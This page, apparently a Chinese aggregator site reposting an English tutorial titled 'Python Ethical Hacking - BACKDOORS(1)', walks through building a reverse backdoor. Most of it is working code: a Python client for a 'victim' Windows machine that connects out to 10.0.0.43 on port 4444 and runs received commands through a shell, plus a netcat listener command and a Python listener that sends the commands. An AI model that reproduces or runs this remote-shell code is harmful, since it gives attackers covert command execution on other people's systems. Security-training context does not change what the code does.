加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程开发 > Python > 正文

Python Ethical Hacking - BACKDOORS(1)

发布时间:2020-12-20 10:24:21 所属栏目:Python 来源:网络整理
导读:REVERSE_BACKDOOR Access file system. Execute system commands. Download files. Upload files. Persistence . BACKDOORS An interactive program gives access to a system its executed on. Command execution. Access file system. Upload/download fil

REVERSE_BACKDOOR

  • Access file system.
  • Execute system commands.
  • Download files.
  • Upload files.
  • Persistence.

BACKDOORS

An interactive program gives access to a system its executed on.

  • Command execution.
  • Access file system.
  • Upload/download files.
  • Run keylogger.
  • ...etc

?

?

?

?

?

?

?

?

?Write the Reverse backdoor Python script and execute on Windows machine. (Victim machine)

#!/usr/bin/env python
import socket
import subprocess


def execute_system_command(command):
    return subprocess.check_output(command,shell=True)


connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connection.connect(("10.0.0.43",4444))

connection.send(b"n[+] Connection established.n")

while True:
    command = connection.recv(1024).decode()
    command_result = execute_system_command(command)
    connection.send(command_result)

connection.close()

?

Run the listening progress on the Kali Linux to establish the connection and execute the system commands.

nc -vv -l -p 4444

?

Write and execute the Python Listener:

#!/usr/bin/env python
import socket

listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind(("10.0.0.43",4444))
listener.listen(0)
print("[+] Waiting for incoming connections")
connection,address = listener.accept()
print("[+] Got a connection from " + str(address))

while True:
    command = input(">> ").encode()
    connection.send(command)
    result = connection.recv(1024).decode()
    print(result)

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读